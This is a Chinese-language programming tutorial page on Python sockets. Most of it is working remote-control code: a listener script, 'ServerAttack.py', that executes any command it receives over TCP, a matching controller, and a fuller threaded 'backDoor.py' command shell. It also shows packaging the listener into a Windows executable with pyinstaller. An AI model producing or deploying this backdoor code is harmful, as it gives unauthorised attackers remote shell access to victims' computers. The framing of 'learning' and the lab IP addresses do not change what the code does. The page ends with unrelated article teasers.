Python实现Socket通信建立TCP反向连接

目录
  • 前言
  • 远程控制
  • 脚本编写
  • 脚本优化
    • getopt ()
    • 完整代码

前言

本文将记录学习基于 Socket 通信机制建立 TCP 反向连接,借助 Python 脚本实现主机远程控制的目的。

我们在传输数据时,可以只使用(传输层)TCP/IP 协议,但是那样的话,如果没有应用层,便无法识别数据内容,如果想要使传输的数据有意义,则必须使用到应用层协议,应用层协议有很多,比如 HTTP、FTP、TELNET 等,也可以自己定义应用层协议。而 Socket 是对 TCP/IP 协议的封装,Socket 本身并不是协议,而是一个调用接口(API),通过 Socket 我们才能使用 TCP/IP 协议。

HTTP 连接与 Socket 连接的区别

  • HTTP 是短连接,Socket (基于 TCP 协议的)是长连接。尽管 HTTP1.1 开始支持持久连接,但仍无法保证始终连接。而 Socket 连接一旦建立 TCP 三次握手,除非一方主动断开,否则连接状态一直保持。
  • HTTP连接,服务端无法主动发消息,Socket 连接,双方请求的发送无先后限制。这点就比较重要了,因为它将决定二者分别适合应用在什么场景下。HTTP 采用“请求-响应”机制,在客户端还没发送消息给服务端前,服务端无法推送消息给客户端。必须满足客户端发送消息在前,服务端回复在后。Socket 连接双方类似 peer2peer 的关系,一方随时可以向另一方喊话。

什么时候该用 HTTP,什么时候该用 Socket?

  • 用 HTTP 的情况:双方不需要时刻保持连接在线,比如客户端资源的获取、文件上传等。
  • 用 Socket 的情况:大部分即时通讯应用(QQ、微信)、聊天室、苹果APNs等。

Python3 关于 Socket 网络编程的相关语法知识可以参见:Python3 网络编程。

远程控制

下面开始来看看如何借助 Python 实现对目标主机的远程控制。

脚本编写

ServerAttack.py 受控端脚本如下:

import socket
import os

ip = ""      # 空表示可连接所有主机
port = 5555  # 设置端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # 对象s 使用基于tcp协议的网络套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 关闭后不需要保存状态可以立即开启
s.bind((ip, port))  # 对象s 开始绑定ip和端口
s.listen(10)        # 启动监听状态,设置队列中等待连接服务器的最大请求数10
conn, addr = s.accept()       # 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象
print("已建立远程连接:", addr)  # 显示对方地址

while True:
    data = conn.recv(1024)  # 接收对方字符串 #如果对方不发数据会卡住
    if data == b"q":        # 接收到程序终止信号则中断连接
        break
    data = str(data, encoding="utf8")  # 将数据转换为字符串类型
    print("远程主机请求的命令:", data)
    f = os.popen(data)  # 可以将命令的内容以读取的方式返回
    data2 = f.read()
    if data2 == "":
        conn.send(b"finish")
    else:
        conn.send(bytes(data2, encoding="utf8"))  # 发送命令运行结果

conn.close()  # 断开连接
s.close()     # 关闭套结字

ClientAttack.py 控制端脚本如下:

import socket

ip = "192.168.146.126"  # 对方服务器ip地址
port = 5555             # 对方服务器的端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 对象s使用基于tcp协议的网络套接字
s.connect((ip, port))   # 创建socket连接

while True:
    data = input("请输入命令:")
    data = bytes(data, encoding="utf8")
    s.send(data)          # 发送数据给对方
    data2 = s.recv(1024)  # 接收返回的数据
    print(str(data2, encoding="utf8"))
    if data == b"q":
        break

s.close()

效果演示

1、Linux 远控

将 ServerAttack.py 受控端脚本拷贝至 Linux 系统并运行,同时 Win10 物理机运行 ClientAttack.py 控制端脚本,可实现远程连接控制:

2、Windows 远控

使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可执行文件(pyinstaller -F ServerAttack.py),然后在 Win7 虚拟机运行生成的 ServerAttack.exe 文件,效果如下:

脚本优化

下面使用多线程、脚本参数设置、脚本帮助提示、客户端服务端代码集成来优化上述实现远程控制的脚本。

getopt ()

Python 中 getopt 模块是专门用来处理命令行参数的,函数格式:

getopt(args, shortopts, longopts = [])

参数解析如下:

参数 释义 补充
args 要解析的参数列表 一般是sys.argv[1:],表示获取的参数不包括当前执行的 python 脚本名称
shortopts 要识别的短格式 (-) 选项字符串,如果后接:表示需要给定参数 ab:c:,表示识别 -a, -b 和 -c 的短选项,其中 -b 和 -c 需要后接参数
longopts = [] 要识别的长格式(–)选项,如果后接=表示需要给定参数 如[“help”, “user=”, “password=”],表示识别--help, --user=root, --password=123456的长选项

函数返回值由两个元素组成:

  • 第一个是 (option, value) 元组的列表,(option, value) 元组中的 option 表示包含-或--前缀的选项,value 表示该 option 对应的参数,可以为空字符串表示无参数;
  • 第二个是 args 剥离短选项及其参数和长选项及其参数之后剩余的参数列表。

完整代码

import socket
import getopt
import sys
import subprocess
from threading import Thread

def main():
    target = ""  # 目标IP
    port = 0     # 目标端口
    listen = False
    help = False

    # 利用getopt模块从命令行获取参数,sys.argv[1:]可以过滤掉第一个参数(第一个参数是脚本的名称,它不应该作为参数进行解析)
    opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
    for o, a in opts:
        if o == "-t":
            target = a
        elif o == "-p":
            port = int(a)
        elif o == "-h":
            help = True
        elif o == "-l":
            listen = True
        else:
            # 断言,传入的参数有误
            assert False, "Unhandled Option"

    # 输出帮助文档
    if help:
        usage()

    # 获分客户端和服务端
    if listen:
        server_handle(port)
    else:
        client_handle(target, port)

# 受控端
def server_handle(port):
    # 创建socket通道
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 绑定
    server.bind(('0.0.0.0', port))
    # 监听
    server.listen(10)
    print("[*] Listening on 0.0.0.0:%d" % port)
    while True:
        client_socket, addr = server.accept()
        print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
        t = Thread(target=run_command, args=(client_socket, server,))
        t.start()

# 控制端,发送命令,接收受控端命令行的回显内容
def client_handle(target, port):
    # 创建socket通道
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接服务器
    client.connect((target, port))
    # 接收数据
    while True:
        recv_len = 1
        # 接收到的数据是utf-8
        resBuffer = "".encode('utf-8')
        while recv_len:
            data = client.recv(4096)
            recv_len = len(data)
            resBuffer += data
            if recv_len < 4096:
                break
        # 在windows下中文会乱码,所以转成GBK
        print(resBuffer.decode('gbk'), end="")
        # 接收命令,发送命令需要将命令转成byte,并且编码是utf-8
        buffer = input("")
        if buffer.encode('utf-8') == b"quit":
            break
        buffer += "\n"
        client.send(buffer.encode('utf-8'))
    client.close()

# 执行命令涵数
def run_command(client_socket,s):
    while True:
        # 发送命令给客户端
        client_socket.send(b"shell_>")
        # 定义接收命令byte类型变量
        cmd_buffer = "".encode('utf-8')
        # 接收客户端发过来的消息,直到预到换行,代表客户端消息输入完成
        while b"\n" not in cmd_buffer:
            cmd_buffer += client_socket.recv(1024)
        if cmd_buffer == b"quit":
            break
        # 将完整的byte变量消息转成字符串
        cmd_buffer = cmd_buffer.decode()
        try:
            # 通过隧道执行命令并以byte数据类型返回输出的数据
            out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
            # 将返回的数据发送给客户端
            client_socket.send(out)
        except:
            client_socket.send(b"faild to execute the command")
    client_socket.close()  # 断开连接
    s.close()  # 关闭套结字
    exit(0)

# 输出帮助信息
def usage():
    print("help info : python backDoor.py -h")
    print("client : python backDoor.py -t [target] -p [port]")
    print("server : python backDoor.py -lp [port]")
    print("Exit :Input quit to exit ")
    sys.exit()

if __name__ == "__main__":
    main()

效果演示

获取脚本帮助提示、进行远程连接:

到此这篇关于Python实现Socket通信建立TCP反向连接的文章就介绍到这了,更多相关Python TCP反向连接内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • python中协程实现TCP连接的实例分析

    在网络通信中,每个连接都必须创建新线程(或进程) 来处理,否则,单线程在处理连接的过程中, 无法接受其他客户端的连接.所以我们尝试使用协程来实现服务器对多个客户端的响应. 与单一TCP通信的构架一样,只是使用协程来实现多个任务同时进行. #服务端 import socket from gevent import monkey import gevent monkey.patch_all() def handle_conn(seObj): while True: re_Data = seObj.r

  • 基于python模拟TCP3次握手连接及发送数据

    源码如下 from scapy.all import * import logging logging.getLogger('scapy.runtime').setLevel(logging.ERROR) target_ip = '192.168.1.1' target_port = 80 data = 'GET / HTTP/1.0 \r\n\r\n' def start_tcp(target_ip,target_port): global sport,s_seq,d_seq #主要是用于TC

  • Python实现Socket通信建立TCP反向连接

    目录 前言 远程控制 脚本编写 脚本优化 getopt () 完整代码 前言 本文将记录学习基于 Socket 通信机制建立 TCP 反向连接,借助 Python 脚本实现主机远程控制的目的. 我们在传输数据时,可以只使用(传输层)TCP/IP 协议,但是那样的话,如果没有应用层,便无法识别数据内容,如果想要使传输的数据有意义,则必须使用到应用层协议,应用层协议有很多,比如 HTTP.FTP.TELNET 等,也可以自己定义应用层协议.而 Socket 是对 TCP/IP 协议的封装,Socke

  • python用socket实现协议TCP长连接框架

    “ 使用python实现协议中常见的TCP长连接框架.” 分析多了协议就会发现,很多的应用,特别是游戏类和IM类应用,它们的协议会使用长连接的方式,来保持客户端与服务器的联系,这些长连接,通常是TCP承载的. 如果我们要模拟这个客户端的行为,根据不同应用服务器的实现情况,有些长连接不是必须的,但有些长连接,就必须去实现它.例如最近分析的某应用,虽然它主要使用HTTP协议进行交互,但它在TCP长连接中传输了一些必须的信息,如果不实现长连接,就会有很多信息无法处理. 在python中,很容易实现HT

  • Java Web项目中使用Socket通信多线程、长连接的方法

    很多时候在javaweb项目中我们需要用到Socket通信来实现功能,在web中使用Socket我们需要建立一个监听程序,在程序启动时,启动socket监听.我们的应用场景是在java项目中,需要外接如一个硬件设备,通过tcp通信,获取设备传上来的数据,并对数据做回应. 先看一下web的监听代码: import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; public class

  • Python基本socket通信控制操作示例

    本文实例讲述了Python基本socket通信控制操作.分享给大家供大家参考,具体如下: python - 基本socket通信控制(控制在celie.txt文件中主机IP地址可以发送信息,并返回对应的客户端IP.时间戳.发送的信息) 客户端代码 root@72129clent:~/python/snmp# ls snmpclenit.py tab.py root@72129clent:~/python/snmp# cat snmpclenit.py #!/usr/bin/python # --

  • php实现与python进行socket通信的方法示例

    本文实例讲述了php实现与python进行socket通信的方法.分享给大家供大家参考,具体如下: 设计目的 通过前端页面发起请求交给php,php创建socket请求交给Python脚本,然后执行完毕之后,返回给前端. index.html <html> <head> <title>test</title> <script> g_xmlHttpReq = new XMLHttpRequest(); function onReplyCallbac

  • asp.net平台下C#实现Socket通信

    TCP/IP:Transmission Control Protocol/Internet Protocol,传输控制协议/因特网互联协议,又名网络通讯协议.简单来说:TCP控制传输数据,负责发现传输的问题,一旦有问题就发出信号,要求重新传输,直到所有数据安全正确地传输到目的地,而IP是负责给因特网中的每一台电脑定义一个地址,以便传输.从协议分层模型方面来讲:TCP/IP由:网络接口层(链路层).网络层.传输层.应用层.它和OSI的七层结构以及对于协议族不同,下图简单表示: 注:最上的图示:TC

  • Python socket网络编程TCP/IP服务器与客户端通信

    Python socket网络编程 初学 python,前段时间买了两本书<python 编程从入门到实践><Python 核心编程第三版>,第一本书主要讲的是一些基本语法和一些基本的使用方法,而第二本则深入很多,自己看来也是一知半解,刚好看到了这部分网络编程,依然有好多不太理解的地方,不过想来通过自己不断的摸索,不断地搜寻资料学习,早晚应该会变得通透吧....... 这部分主要使用的模块就是 socket 模块,在这个模块中可以找到 socket()函数,该函数用于创建套接字对象

  • Python基于socket实现TCP/IP客户和服务器通信

    前言 套接字除了用于分析网络地址等功能之外,还可以配置一个服务器,监听到来的消息. 比如你在网络上跟网络机器人聊天,你发送数据到机器人(服务器),然后机器人(服务器)反馈聊天数据信息给你. 当然,机器人的回复内容可能还涉及机器学习,但简单的消息反馈涉及的就是套接字的知识. 简单的搭建服务器与客户端 既然已经了解了套接字的应用.下面,我们来实现一个简单的单向通信TCP/IP服务器与客户端. 服务器 服务器的原理如下: 首先创建一个套接字,TCP是面向流的套接字.故需要使用SOCK_STREAM 然

  • python使用socket实现TCP协议长连接框架

    分析多了协议就会发现,很多的应用,特别是游戏类和IM类应用,它们的协议会使用长连接的方式,来保持客户端与服务器的联系,这些长连接,通常是TCP承载的. 如果我们要模拟这个客户端的行为,根据不同应用服务器的实现情况,有些长连接不是必须的,但有些长连接,就必须去实现它.例如最近分析的某应用,虽然它主要使用HTTP协议进行交互,但它在TCP长连接中传输了一些必须的信息,如果不实现长连接,就会有很多信息无法处理. 在python中,很容易实现HTTP协议,当然,也容易实现TCP协议,它的TCP实现,使用

  • 结合Python的SimpleHTTPServer源码来解析socket通信

    何谓socket 计算机,顾名思义即是用来做计算.因而也需要输入和输出,输入需要计算的条件,输出计算结果.这些输入输出可以抽象为I/O(input output). Unix的计算机处理IO是通过文件的抽象.计算机不同的进程之间也有输入输出,也就是通信.因此这这个通信也是通过文件的抽象文件描述符来进行. 在同一台计算机,进程之间可以这样通信,如果是不同的计算机呢?网络上不同的计算机,也可以通信,那么就得使用网络套接字(socket).socket就是在不同计算机之间进行通信的一个抽象.他工作于T

随机推荐